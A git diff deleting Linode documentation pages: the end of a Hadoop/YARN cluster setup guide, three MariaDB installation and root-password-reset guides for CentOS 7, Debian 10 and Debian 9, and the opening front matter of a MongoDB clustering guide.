2GB Nodes - -For 2GB nodes, a working configuration may be: - -| Property | Value | -| ---------------- |:-------------:| -| yarn.nodemanager.resource.memory-mb | 1536 | -| yarn.scheduler.maximum-allocation-mb| 1536 | -| yarn.scheduler.minimum-allocation-mb| 128 | -| yarn.app.mapreduce.am.resource.mb| 512 | -| mapreduce.map.memory.mb| 256 | -| mapreduce.reduce.memory.mb| 256 | - - -1. Edit `/home/hadoop/hadoop/etc/hadoop/yarn-site.xml` and add the following lines: - - {{< file "~/hadoop/etc/hadoop/yarn-site.xml" xml >}} - - yarn.nodemanager.resource.memory-mb - 1536 - - - - yarn.scheduler.maximum-allocation-mb - 1536 - - - - yarn.scheduler.minimum-allocation-mb - 128 - - - - yarn.nodemanager.vmem-check-enabled - false - - -{{< /file >}} - - - The last property disables virtual-memory checking which can prevent containers from being allocated properly with JDK8 if enabled. - - -2. Edit `/home/hadoop/hadoop/etc/hadoop/mapred-site.xml` and add the following lines: - - {{< file "~/hadoop/etc/hadoop/mapred-site.xml" xml >}} - - yarn.app.mapreduce.am.resource.mb - 512 - - - - mapreduce.map.memory.mb - 256 - - - - mapreduce.reduce.memory.mb - 256 - - -{{< /file >}} - - - -## Duplicate Config Files on Each Node - -1. Copy the Hadoop binaries to worker nodes: - - cd /home/hadoop/ - scp hadoop-*.tar.gz node1:/home/hadoop - scp hadoop-*.tar.gz node2:/home/hadoop - -2. Connect to **node1** via SSH. A password isn't required, thanks to the SSH keys copied above: - - ssh node1 - -3. Unzip the binaries, rename the directory, and exit **node1** to get back on the node-master: - - tar -xzf hadoop-3.1.2.tar.gz - mv hadoop-3.1.2 hadoop - exit - -4. Repeat steps 2 and 3 for **node2**. - -5. Copy the Hadoop configuration files to the worker nodes: - - for node in node1 node2; do - scp ~/hadoop/etc/hadoop/* $node:/home/hadoop/hadoop/etc/hadoop/; - done - -## Format HDFS - -HDFS needs to be formatted like any classical file system. On **node-master**, run the following command: - - hdfs namenode -format - -Your Hadoop installation is now configured and ready to run. - -## Run and monitor HDFS - -This section will walk through starting HDFS on NameNode and DataNodes, and monitoring that everything is properly working and interacting with HDFS data. - -### Start and Stop HDFS - -1. Start the HDFS by running the following script from **node-master**: - - start-dfs.sh - - This will start **NameNode** and **SecondaryNameNode** on node-master, and **DataNode** on **node1** and **node2**, according to the configuration in the `workers` config file. - -2. Check that every process is running with the `jps` command on each node. On **node-master**, you should see the following (the PID number will be different): - - 21922 Jps - 21603 NameNode - 21787 SecondaryNameNode - - And on **node1** and **node2** you should see the following: - - 19728 DataNode - 19819 Jps - -3. To stop HDFS on master and worker nodes, run the following command from **node-master**: - - stop-dfs.sh - -### Monitor your HDFS Cluster - -1. You can get useful information about running your HDFS cluster with the `hdfs dfsadmin` command. Try for example: - - hdfs dfsadmin -report - - This will print information (e.g., capacity and usage) for all running DataNodes. To get the description of all available commands, type: - - hdfs dfsadmin -help - -2. You can also automatically use the friendlier web user interface. Point your browser to http://node-master-IP:9870, where node-master-IP is the IP address of your node-master, and you'll get a user-friendly monitoring console. - -![Screenshot of HDFS Web UI](hadoop-3-hdfs-webui-wide.png "Screenshot of HDFS Web UI") - -### Put and Get Data to HDFS - -Writing and reading to HDFS is done with command `hdfs dfs`. First, manually create your home directory. All other commands will use a path relative to this default home directory: - - hdfs dfs -mkdir -p /user/hadoop - -Let's use some textbooks from the [Gutenberg project](https://www.gutenberg.org/) as an example. - -1. Create a *books* directory in HDFS. The following command will create it in the home directory, `/user/hadoop/books`: - - hdfs dfs -mkdir books - -2. Grab a few books from the Gutenberg project: - - cd /home/hadoop - wget -O alice.txt https://www.gutenberg.org/files/11/11-0.txt - wget -O holmes.txt https://www.gutenberg.org/files/1661/1661-0.txt - wget -O frankenstein.txt https://www.gutenberg.org/files/84/84-0.txt - -3. Put the three books through HDFS, in the `books`directory: - - hdfs dfs -put alice.txt holmes.txt frankenstein.txt books - -4. List the contents of the `book` directory: - - hdfs dfs -ls books - -5. Move one of the books to the local filesystem: - - hdfs dfs -get books/alice.txt - -6. You can also directly print the books from HDFS: - - hdfs dfs -cat books/alice.txt - -There are many commands to manage your HDFS. For a complete list, you can look at the [Apache HDFS shell documentation](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/FileSystemShell.html), or print help with: - - hdfs dfs -help - -## Run YARN - -HDFS is a distributed storage system, and doesn't provide any services for running and scheduling tasks in the cluster. This is the role of the YARN framework. The following section is about starting, monitoring, and submitting jobs to YARN. - -### Start and Stop YARN - -1. Start YARN with the script: - - start-yarn.sh - -2. Check that everything is running with the `jps` command. In addition to the previous HDFS daemon, you should see a **ResourceManager** on **node-master**, and a **NodeManager** on **node1** and **node2**. - -3. To stop YARN, run the following command on **node-master**: - - stop-yarn.sh - -### Monitor YARN - -1. The `yarn` command provides utilities to manage your YARN cluster. You can also print a report of running nodes with the command: - - yarn node -list - - Similarly, you can get a list of running applications with command: - - yarn application -list - - To get all available parameters of the `yarn` command, see [Apache YARN documentation](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YarnCommands.html). - -2. As with HDFS, YARN provides a friendlier web UI, started by default on port `8088` of the Resource Manager. Point your browser to http://node-master-IP:8088, where node-master-IP is the IP address of your node-master, and browse the UI: - - ![Screenshot of YARN Web UI](hadoop-4-yarn-webui-wide.png "Screenshot of YARN Web UI") - -### Submit MapReduce Jobs to YARN - -YARN jobs are packaged into `jar` files and submitted to YARN for execution with the command `yarn jar`. The Hadoop installation package provides sample applications that can be run to test your cluster. You'll use them to run a word count on the three books previously uploaded to HDFS. - -1. Submit a job with the sample `jar` to YARN. On **node-master**, run: - - yarn jar ~/hadoop/share/hadoop/mapreduce/hadoop-mapreduce-examples-3.1.2.jar wordcount "books/*" output - - The last argument is where the output of the job will be saved - in HDFS. - -2. After the job is finished, you can get the result by querying HDFS with `hdfs dfs -ls output`. In case of a success, the output will resemble: - - Found 2 items - -rw-r--r-- 2 hadoop supergroup 0 2019-05-31 17:21 output/_SUCCESS - -rw-r--r-- 2 hadoop supergroup 789726 2019-05-31 17:21 output/part-r-00000 - -3. Print the result with: - - hdfs dfs -cat output/part-r-00000 | less - -## Next Steps - -Now that you have a YARN cluster up and running, you can: - -- Learn how to code your own YARN jobs with [Apache documentation](https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/WritingYarnApplications.html). -- Install Spark on top on your YARN cluster with [Linode Spark guide](/cloud/guides/install-configure-run-spark-on-top-of-hadoop-yarn-cluster/). -- Secure your cluster with [Apache YARN Secure containers](https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/SecureContainer.html). diff --git a/docs/guides/databases/mariadb/how-to-install-mariadb-on-centos-7/index.md b/docs/guides/databases/mariadb/how-to-install-mariadb-on-centos-7/index.md deleted file mode 100644 index 706a1d33181..00000000000 --- a/docs/guides/databases/mariadb/how-to-install-mariadb-on-centos-7/index.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -slug: how-to-install-mariadb-on-centos-7 -title: "Installing MariaDB on CentOS 7" -title_meta: "How to Install MariaDB on CentOS 7" -description: "This article gives you step-by-step instructions for installing MariaDB, a fork of the popular cross-platform MySQL database management system, on CentOS 7." -authors: ["Linode"] -contributors: ["Linode"] -published: 2015-08-21 -keywords: ["MariaDB on Linux", "CentOS", "cloud", "cloud hosting", "Linux", "MariaDB", "database", "MySQL", "install MariaDB", "secure MariaDB", "mysqltuner"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[MariaDB Documentation](https://mariadb.com/kb/en/mariadb/documentation/)' - - '[MySQL Reference Manuals](https://dev.mysql.com/doc/)' - - '[PHP MySQL Manual](http://us2.php.net/manual/en/book.mysql.php)' - - '[Perl DBI examples for DBD::mysql](http://sql-info.de/mysql/examples/Perl-DBI-examples.html)' - - '[MySQLdb User''s Guide](http://mysql-python.sourceforge.net/MySQLdb.html)' -relations: - platform: - key: how-to-install-mariadb - keywords: - - distribution: CentOS 7 -tags: ["mariadb","database","centos"] -aliases: ['/databases/mariadb/how-to-install-mariadb-on-centos-7/'] ---- - -MariaDB is a fork of the popular cross-platform MySQL database management system and is considered a full [drop-in replacement](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-features/) for MySQL. MariaDB was created by one of MySQL's original developers in 2009 after MySQL was acquired by Oracle during the Sun Microsystems merger. Today MariaDB is maintained and developed by the [MariaDB Foundation](https://mariadb.org/en/foundation/) and community contributors with the intention of it remaining GNU GPL software. - -![How to Install MariaDB on CentOS 7](how-to-install-mariadb-on-centos-7.png) - -MariaDB replaced MySQL as the default database system in the CentOS 7 repositories. Though installing MySQL into CentOS 7 is not difficult see, [install mysql CentOS 7](/cloud/guides/how-to-install-mysql-on-centos-7/), if you simply need a database MariaDB is recommended for official support and a minimal chance of incompatibilities with other repository software. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system and configure the hostname. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - - To check your hostname run: - - hostname - hostname -f - - The first command should show your short hostname, and the second should show your fully qualified domain name (FQDN). - -## Install and Start MariaDB - - sudo yum install mariadb-server - -Enable MariaDB to start on boot and then start the service: - - sudo systemctl enable mariadb - sudo systemctl start mariadb - -MariaDB will bind to localhost (127.0.0.1) by default. For information on connecting to a remote database using SSH, see our [MySQL remote access guide](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/), which also applies to MariaDB. - -{{< note >}} -Allowing unrestricted access to MariaDB on a public IP not advised but you may change the address it listens on by modifying the `bind-address` parameter in `/etc/my.cnf`. If you decide to bind MariaDB to your public IP, you should implement firewall rules that only allow connections from specific IP addresses. -{{< /note >}} - -## Harden MariaDB Server - -1. Run the `mysql_secure_installation` script to address several security concerns in a default MariaDB installation: - - sudo mysql_secure_installation - -You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - -## Using MariaDB - -The standard tool for interacting with MariaDB is the `mariadb` client, which installs with the `mariadb-server` package. The MariaDB client is used through a terminal. - -### Root Login - -1. To log in to MariaDB as the root user: - - mysql -u root -p - -2. When prompted, enter the root password you assigned when the `mysql_secure_installation` script was run. - - You'll then be presented with a welcome header and the MariaDB prompt as shown below: - - MariaDB [(none)]> - -3. To generate a list of commands for the MariaDB prompt, enter `\h`. You'll then see: - - List of all MySQL commands: - Note that all text commands must be first on line and end with ';' - ? (\?) Synonym for `help'. - clear (\c) Clear the current input statement. - connect (\r) Reconnect to the server. Optional arguments are db and host. - delimiter (\d) Set statement delimiter. - edit (\e) Edit command with $EDITOR. - ego (\G) Send command to mysql server, display result vertically. - exit (\q) Exit mysql. Same as quit. - go (\g) Send command to mysql server. - help (\h) Display this help. - nopager (\n) Disable pager, print to stdout. - notee (\t) Don't write into outfile. - pager (\P) Set PAGER [to_pager]. Print the query results via PAGER. - print (\p) Print current command. - prompt (\R) Change your mysql prompt. - quit (\q) Quit mysql. - rehash (\#) Rebuild completion hash. - source (\.) Execute an SQL script file. Takes a file name as an argument. - status (\s) Get status information from the server. - system (\!) Execute a system shell command. - tee (\T) Set outfile [to_outfile]. Append everything into given outfile. - use (\u) Use another database. Takes database name as argument. - charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. - warnings (\W) Show warnings after every statement. - nowarning (\w) Don't show warnings after every statement. - - For server side help, type 'help contents' - - MariaDB [(none)]> - -### Create a New MariaDB User and Database -1. In the example below, `testdb` is the name of the database, `testuser` is the user, and `password` is the user's password: - - create database testdb; - create user 'testuser'@localhost identified by 'password'; - grant all on testdb.* to 'testuser' identified by 'password'; - - You can shorten this process by creating the user *while* assigning database permissions: - - create database testdb; - grant all on testdb.* to 'testuser' identified by 'password'; - -2. Then exit MariaDB: - - exit - -### Create a Sample Table - -1. Log back in as `testuser`: - - mysql -u testuser -p - -2. Create a sample table called `customers`. This creates a table with a customer ID field of the type `INT` for integer (auto-incremented for new records, used as the primary key), as well as two fields for storing the customer's name: - - use testdb; - create table customers (customer_id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, first_name TEXT, last_name TEXT); - -3. View the new table: - - show tables; - -3. Then exit MariaDB: - - exit - -## Reset the MariaDB Root Password - -If you forget your root MariaDB password, it can be reset. - -1. Stop the current MariaDB server instance, then restart it with an option to not ask for a password: - - sudo systemctl stop mariadb - sudo mysqld_safe --skip-grant-tables & - -2. Reconnect to the MariaDB server with the MariaDB root account: - - mysql -u root - - -3. Use the following commands to reset root's password. Replace `password` with a strong password: - - use mysql; - update user SET PASSWORD=PASSWORD("password") WHERE USER='root'; - flush privileges; - exit - -4. Then restart MariaDB: - - sudo systemctl start mariadb diff --git a/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-10/index.md b/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-10/index.md deleted file mode 100644 index 0981fd28965..00000000000 --- a/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-10/index.md +++ /dev/null @@ -1,242 +0,0 @@ ---- -slug: how-to-install-mariadb-on-debian-10 -title: "Installing MariaDB on Debian 10" -title_meta: "How to Install MariaDB on Debian 10" -description: "Want to replace MySQL? Read through this guide, which explains how to install MariaDB on Debian 10." -authors: ["Ryan Syracuse"] -contributors: ["Ryan Syracuse"] -published: 2020-01-31 -modified: 2024-05-16 -keywords: ["mariadb", "Debian 10", "debian", "database", "mysql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/databases/mariadb/how-to-install-mariadb-on-debian-10/','/databases/mariadb/mariadb-setup-debian-10/'] -image: Installing_MariaDB_on_Debian10.png -external_resources: - - '[MariaDB Knowledge Base](https://mariadb.com/kb/en)' - - '[MariaDB FAQ](https://mariadb.com/kb/en/mariadb-mariadb-faq/)' - - '[MariaDB SQL commands](https://mariadb.com/kb/en/sql-commands/)' -relations: - platform: - key: how-to-install-mariadb - keywords: - - distribution: Debian 10 -tags: ["debian","mariadb","database"] ---- - -MariaDB is a fork of the popular cross-platform MySQL database management system and is considered a full [drop-in replacement](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-features/) for MySQL. MariaDB was created by one of MySQL's original developers in 2009 after MySQL was acquired by Oracle during the Sun Microsystems merger. Today MariaDB is maintained and developed by the [MariaDB Foundation](https://mariadb.org/en/foundation/) and community contributors with the intention of it remaining GNU GPL software. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system and configure your hostname. You may also wish to set the timezone, create a limited user account, and harden SSH access. - - To check your hostname run: - - hostname - hostname -f - - The first command should show your short hostname, and the second should show your fully qualified domain name (FQDN) if you have one assigned. - -## Install and Setup MariaDB - -Install MariaDB using the package manager. - - sudo apt install mariadb-server - -MariaDB will bind to localhost (127.0.0.1) by default. For information on connecting to a remote database using SSH, see our [MySQL remote access guide](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/), which also applies to MariaDB. - -{{< note >}} -Allowing unrestricted access to MariaDB on a public IP not advised but you may change the address it listens on by modifying the `bind-address` parameter in `/etc/mysql/my.cnf`. If you decide to bind MariaDB to your public IP, you should implement firewall rules that only allow connections from specific IP addresses. -{{< /note >}} - -### MariaDB Client - -The standard tool for interacting with MariaDB is the `mariadb` client, which installs with the `mariadb-server` package. The MariaDB client is used through a terminal using the `mariadb` command. Review the official [MariaDB Command-Line Client](https://mariadb.com/kb/en/mariadb-command-line-client/) guide for more details on this command. - -### Root Login - -1. Log into MariaDB as the root user: - - sudo mariadb -u root -p - -1. When prompted for login credentials, hit enter. By default MariaDB will authenticate you via the **unix_socket plugin** and credentials are not required. - - You'll then be presented with a welcome header and the MariaDB prompt as shown below: - - {{< output >}} -MariaDB [(none)]> -{{}} - -1. To generate a list of commands for the MariaDB prompt, enter `\h`. You'll then see: - - {{< output >}} -General information about MariaDB can be found at -http://mariadb.org - -List of all MySQL commands: -Note that all text commands must be first on line and end with ';' -? (\?) Synonym for `help'. -clear (\c) Clear the current input statement. -connect (\r) Reconnect to the server. Optional arguments are db and host. -delimiter (\d) Set statement delimiter. -edit (\e) Edit command with $EDITOR. -ego (\G) Send command to mysql server, display result vertically. -exit (\q) Exit mysql. Same as quit. -go (\g) Send command to mysql server. -help (\h) Display this help. -nopager (\n) Disable pager, print to stdout. -notee (\t) Don't write into outfile. -pager (\P) Set PAGER [to_pager]. Print the query results via PAGER. -print (\p) Print current command. -prompt (\R) Change your mysql prompt. -quit (\q) Quit mysql. -rehash (\#) Rebuild completion hash. -source (\.) Execute an SQL script file. Takes a file name as an argument. -status (\s) Get status information from the server. -system (\!) Execute a system shell command. -tee (\T) Set outfile [to_outfile]. Append everything into given outfile. -use (\u) Use another database. Takes database name as argument. -charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. -warnings (\W) Show warnings after every statement. -nowarning (\w) Don't show warnings after every statement. - -For server side help, type 'help contents' - -MariaDB [(none)]> -{{}} - -### Securing the Installation - -1. After accessing MariaDB as the root user of your database, enable the **mysql_native_password** -plugin to enable root password authentication: - - USE mysql; - UPDATE user SET plugin='mysql_native_password' WHERE user='root'; - FLUSH PRIVILEGES; - exit; - -1. Run the `mysql_secure_installation` script to address several security concerns in a default MariaDB installation: - - sudo mysql_secure_installation - -You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - -## Using MariaDB - -### Create a New MariaDB User and Database - -1. Login to the database again. This time, if you set a password above, enter it at the prompt. - - sudo mariadb -u root -p - -1. In the example below, `testdb` is the name of the database, `testuser` is the user, and `password` is the user's password. You should replace `password` with a secure password: - - CREATE DATABASE testdb; - CREATE user 'testuser'@localhost IDENTIFIED BY 'password'; - GRANT ALL ON testdb.* TO 'testuser' IDENTIFIED BY 'password'; - - You can shorten this process by creating the user *while* assigning database permissions: - - CREATE DATABASE testdb; - GRANT ALL ON testdb.* TO 'testuser' IDENTIFIED BY 'password'; - -1. Then exit MariaDB: - - exit; - -### Create a Sample Table - -1. Log back in as `testuser`, entering the password when prompted: - - sudo mariadb -u testuser -p - -1. Create a sample table called `customers`: - - USE testdb; - CREATE TABLE customers (customer_id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, first_name TEXT, last_name TEXT); - - - This creates a table with a `customer_id` field of the type `INT` for integer. - - This field is auto-incremented for new records and used as the primary key. - - Two other fields are created, `first_name` and `last_name` for storing the customer's name. - -1. View the new table: - - SHOW TABLES; - - {{< output >}} -+------------------+ -| Tables_in_testdb | -+------------------+ -| customers | -+------------------+ -1 row in set (0.00 sec) -{{}} - -1. Add some data: - - INSERT INTO customers (first_name, last_name) VALUES ('John', 'Doe'); - -1. View the data: - - SELECT * FROM customers; - - {{< output >}} -+-------------+------------+-----------+ -| customer_id | first_name | last_name | -+-------------+------------+-----------+ -| 1 | John | Doe | -+-------------+------------+-----------+ -1 row in set (0.00 sec) -{{}} - -1. Then exit MariaDB: - - exit; - -## Reset the MariaDB Root Password - -If you forget your root MariaDB password, it can be reset. - -1. Stop the current MariaDB server instance, then restart it with an option to not ask for a password: - - sudo systemctl stop mariadb - -1. Then execute the following command which will allow the database to start without loading the grant tables or networking. - - sudo systemctl set-environment MYSQLD_OPTS="--skip-grant-tables --skip-networking" - -1. Restart MariaDB: - - sudo systemctl start mariadb - -1. Login to the MariaDB server with the root account, this time without supplying a password: - - sudo mariadb -u root - -1. Use the following commands to reset root's password. Replace `password` with a strong password: - - FLUSH PRIVILEGES; - UPDATE mysql.user SET password = PASSWORD('password') WHERE user = 'root'; - -1. Update the authentication methods for the root password: - - UPDATE mysql.user SET authentication_string = '' WHERE user = 'root'; - UPDATE mysql.user SET plugin = '' WHERE user = 'root'; - exit; - -1. Revert the environment settings to allow the database to start with grant tables and networking: - - sudo systemctl unset-environment MYSQLD_OPTS - -1. Then restart MariaDB: - - sudo systemctl start mariadb - -1. You should now be able to log into the database with your new root password: - - sudo mariadb -u root -p \ No newline at end of file diff --git a/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-9/index.md b/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-9/index.md deleted file mode 100644 index 69fbaa8e66f..00000000000 --- a/docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-9/index.md +++ /dev/null @@ -1,238 +0,0 @@ ---- -slug: how-to-install-mariadb-on-debian-9 -title: "Installing MariaDB on Debian 9" -title_meta: "How to Install MariaDB on Debian 9" -description: "This guide shows how to install and configure the MariaDB server on Debian 9." -og_description: "MariaDB is a robust, scalable and reliable SQL Server that can serve as a drop-in replacement for MySQL. This guide shows how to install and configure it on Debian 9." -authors: ["Ryan Syracuse"] -contributors: ["Ryan Syracuse"] -published: 2020-01-31 -keywords: ["mariadb", "Debian 9", "debian", "database", "mysql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/databases/mariadb/how-to-install-mariadb-on-debian-9/','/databases/mariadb/mariadb-setup-debian/'] -image: Installing_MariaDB_on_Debian9.png -external_resources: - - '[MariaDB Knowledge Base](https://mariadb.com/kb/en)' - - '[MariaDB FAQ](https://mariadb.com/kb/en/mariadb-mariadb-faq/)' - - '[MariaDB SQL commands](https://mariadb.com/kb/en/sql-commands/)' -relations: - platform: - key: how-to-install-mariadb - keywords: - - distribution: Debian 9 -tags: ["debian","mariadb","database"] -deprecated: true ---- - -MariaDB is a fork of the popular cross-platform MySQL database management system and is considered a full [drop-in replacement](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-features/) for MySQL. MariaDB was created by one of MySQL's original developers in 2009 after MySQL was acquired by Oracle during the Sun Microsystems merger. Today MariaDB is maintained and developed by the [MariaDB Foundation](https://mariadb.org/en/foundation/) and community contributors with the intention of it remaining GNU GPL software. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system and configure your hostname. You may also wish to set the timezone, create a limited user account, and harden SSH access. - - To check your hostname run: - - hostname - hostname -f - - The first command should show your short hostname, and the second should show your fully qualified domain name (FQDN) if you have one assigned. - -## Install and Setup MariaDB - -Install MariaDB using the package manager. - - sudo apt install mariadb-server - -MariaDB will bind to localhost (127.0.0.1) by default. For information on connecting to a remote database using SSH, see our [MySQL remote access guide](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/), which also applies to MariaDB. - -{{< note >}} -Allowing unrestricted access to MariaDB on a public IP not advised but you may change the address it listens on by modifying the `bind-address` parameter in `/etc/my.cnf`. If you decide to bind MariaDB to your public IP, you should implement firewall rules that only allow connections from specific IP addresses. -{{< /note >}} - -### MariaDB Client - -The standard tool for interacting with MariaDB is the `mariadb` client, which installs with the `mariadb-server` package. The MariaDB client is used through a terminal using the `mysql` command. - -### Root Login - -1. Log into MariaDB as the root user: - - sudo mysql -u root -p - -1. When prompted for login credentials, hit enter. By default MariaDB will authenticate you via the **unix_socket plugin** and credentials are not required. - - You'll then be presented with a welcome header and the MariaDB prompt as shown below: - - {{< output >}} -MariaDB [(none)]> -{{}} - -1. To generate a list of commands for the MariaDB prompt, enter `\h`. You'll then see: - - {{< output >}} -General information about MariaDB can be found at -http://mariadb.org - -List of all MySQL commands: -Note that all text commands must be first on line and end with ';' -? (\?) Synonym for `help'. -clear (\c) Clear the current input statement. -connect (\r) Reconnect to the server. Optional arguments are db and host. -delimiter (\d) Set statement delimiter. -edit (\e) Edit command with $EDITOR. -ego (\G) Send command to mysql server, display result vertically. -exit (\q) Exit mysql. Same as quit. -go (\g) Send command to mysql server. -help (\h) Display this help. -nopager (\n) Disable pager, print to stdout. -notee (\t) Don't write into outfile. -pager (\P) Set PAGER [to_pager]. Print the query results via PAGER. -print (\p) Print current command. -prompt (\R) Change your mysql prompt. -quit (\q) Quit mysql. -rehash (\#) Rebuild completion hash. -source (\.) Execute an SQL script file. Takes a file name as an argument. -status (\s) Get status information from the server. -system (\!) Execute a system shell command. -tee (\T) Set outfile [to_outfile]. Append everything into given outfile. -use (\u) Use another database. Takes database name as argument. -charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. -warnings (\W) Show warnings after every statement. -nowarning (\w) Don't show warnings after every statement. - -For server side help, type 'help contents' - -MariaDB [(none)]> -{{}} - -### Securing the Installation - -1. After accessing MariaDB as the root user of your database, enable the **mysql_native_password** -plugin to enable root password authentication: - - USE mysql; - UPDATE user SET plugin='mysql_native_password' WHERE user='root'; - FLUSH PRIVILEGES; - exit; - -1. Run the `mysql_secure_installation` script to address several security concerns in a default MariaDB installation: - - sudo mysql_secure_installation - -You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - -## Using MariaDB - -### Create a New MariaDB User and Database - -1. Login to the database again. This time, if you set a password above, enter it at the prompt. - - sudo mysql -u root -p - -1. In the example below, `testdb` is the name of the database, `testuser` is the user, and `password` is the user's password. You should replace `password` with a secure password: - - CREATE DATABASE testdb; - CREATE user 'testuser'@localhost IDENTIFIED BY 'password'; - GRANT ALL ON testdb.* TO 'testuser' IDENTIFIED BY 'password'; - - You can shorten this process by creating the user *while* assigning database permissions: - - CREATE DATABASE testdb; - GRANT ALL ON testdb.* TO 'testuser' IDENTIFIED BY 'password'; - -1. Then exit MariaDB: - - exit; - -### Create a Sample Table - -1. Log back in as `testuser`, entering the password when prompted: - - sudo mysql -u testuser -p - -1. Create a sample table called `customers`: - - USE testdb; - CREATE TABLE customers (customer_id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, first_name TEXT, last_name TEXT); - - - This creates a table with a `customer_id` field of the type `INT` for integer. - - This field is auto-incremented for new records and used as the primary key. - - Two other fields are created, `first_name` and `last_name` for storing the customer's name. - -1. View the new table: - - SHOW TABLES; - - {{< output >}} -+------------------+ -| Tables_in_testdb | -+------------------+ -| customers | -+------------------+ -1 row in set (0.00 sec) -{{}} - -1. Add some data: - - INSERT INTO customers (first_name, last_name) VALUES ('John', 'Doe'); - -1. View the data: - - SELECT * FROM customers; - - {{< output >}} -+-------------+------------+-----------+ -| customer_id | first_name | last_name | -+-------------+------------+-----------+ -| 1 | John | Doe | -+-------------+------------+-----------+ -1 row in set (0.00 sec) -{{}} - -1. Then exit MariaDB: - - exit; - -## Reset the MariaDB Root Password - -If you forget your root MariaDB password, it can be reset. - -1. Stop the current MariaDB server instance. - - sudo systemctl stop mariadb - -1. Then execute the following command which will allow the database to start without loading the grant tables or networking. - - sudo systemctl set-environment MYSQLD_OPTS="--skip-grant-tables --skip-networking" - -1. Restart MariaDB: - - sudo systemctl start mariadb - -1. Login to the MariaDB server with the root account, this time without supplying a password: - - sudo mysql -u root - -1. Use the following commands to reset root's password. Replace `password` with a strong password: - - FLUSH PRIVILEGES; - UPDATE mysql.user SET password = PASSWORD('password') WHERE user = 'root'; - exit; - -1. Revert the environment settings to allow the database to start with grant tables and networking: - - sudo systemctl unset-environment MYSQLD_OPTS - -1. Then restart MariaDB: - - sudo systemctl start mariadb - -1. You should now be able to log into the database with your new root password: - - sudo mysql -u root -p \ No newline at end of file diff --git a/docs/guides/databases/mongodb/build-database-clusters-with-mongodb/index.md b/docs/guides/databases/mongodb/build-database-clusters-with-mongodb/index.md deleted file mode 100644 index 6cc0fbf16fd..00000000000 --- a/docs/guides/databases/mongodb/build-database-clusters-with-mongodb/index.md +++ /dev/null @@ -1,509 +0,0 @@ ---- -slug: build-database-clusters-with-mongodb -title: Building Database Clusters with MongoDB -title_meta: How To Build Database Clusters with MongoDB -description: 'This guide provides you with instructions for installing, configuring, and scaling the MongoDB database for use in clustered environments on the Linux OS.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2010-09-30 -keywords: ["mongodb", "nosql", "clusters", "databases"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/databases/mongodb/clusters/','/databases/mongodb/build-database-clusters-with-mongodb/'] -external_resources: - - 